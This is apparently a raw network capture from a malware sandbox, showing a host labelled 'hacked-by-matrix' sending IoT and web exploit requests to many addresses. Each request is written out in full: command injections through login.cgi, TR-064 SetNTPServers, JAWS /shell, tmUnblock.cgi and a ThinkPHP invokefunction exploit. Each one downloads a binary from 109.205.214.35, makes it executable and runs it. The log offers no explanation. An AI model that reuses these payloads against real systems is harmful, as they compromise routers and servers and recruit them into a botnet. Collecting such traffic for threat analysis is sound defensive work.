Mar 21, 2024 05:23:45.882668972 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:46.001013994 CET	585	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:45 GMT Server: Apache/2.4.58 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4 PHP/5.5.38 Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2081	192.168.2.13	50104	220.91.86.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.569921970 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2082	192.168.2.13	49216	183.123.17.160	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.573375940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:45.882560015 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:23:45 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2083	192.168.2.13	59830	152.254.159.217	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.769763947 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2084	192.168.2.13	33794	18.245.211.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.967500925 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:46.831365108 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:47.008349895 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
2085	192.168.2.13	49366	148.251.236.170	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:45.978996992 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:46.154429913 CET	499	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:46 GMT Server: Apache/2.4.38 (Debian) Content-Length: 305 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 69 6e 6d 61 72 73 6f 66 74 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at inmarsoft.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2086	192.168.2.13	47772	172.65.89.36	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.021059036 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
2087	192.168.2.13	50538	34.98.71.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.243524075 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2088	192.168.2.13	52690	70.40.214.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.328496933 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:46.505143881 CET	440	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 21 Mar 2024 04:23:46 GMT Server: Apache Location: https:///400.shtml Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 2f 34 30 30 2e 73 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https:///400.shtml">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2089	192.168.2.13	60858	95.154.194.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.386832952 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:46.544528008 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:46 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>
Mar 21, 2024 05:23:46.982428074 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:23:46 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2090	192.168.2.13	40378	95.100.62.69	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.412530899 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.372205973 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.556327105 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Thu, 21 Mar 2024 04:23:47 GMT Date: Thu, 21 Mar 2024 04:23:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 37 66 39 30 61 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 30 32 37 26 23 34 36 3b 32 34 66 34 35 37 65 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.47f90a17.1710995027.24f457e9</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2091	192.168.2.13	38900	45.132.88.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.429619074 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:46.597309113 CET	502	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:46 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 308 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 65 61 6d 2e 61 63 65 62 6c 6f 78 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at team.aceblox.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2092	192.168.2.13	47380	38.174.71.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.476660013 CET	44	OUT	GET /shell?cd+/tmp;rm+-rf+*;wge Data Raw: Data Ascii:
Mar 21, 2024 05:23:46.642220974 CET	16	OUT	Data Raw: 2b 20 31 30 Data Ascii: + 10
Mar 21, 2024 05:23:46.801454067 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:46 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:23:46.801542044 CET	48	OUT	Data Raw: 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 3b 63 68 6d 6f 64 2b 37 37 37 2b 2f 74 6d 70 2f 61 72 6d 3b Data Ascii: 9.205.214.35/arm;chmod+777+/tmp/arm;
Mar 21, 2024 05:23:46.801542044 CET	48	OUT	Data Raw: 73 68 2b 2f 74 6d 70 2f 61 72 6d 34 20 6a 61 77 73 48 54 54 50 2f 31 2e 31 0d 0a 55 73 65 72 2d 41 67 65 6e Data Ascii: sh+/tmp/arm4 jawsHTTP/1.1User-Agen

Session ID	Source IP	Source Port	Destination IP	Destination Port
2093	192.168.2.13	37566	172.87.199.179	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.538877964 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:50.700347900 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
2094	192.168.2.13	37318	95.111.213.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:46.541062117 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:47.050873995 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
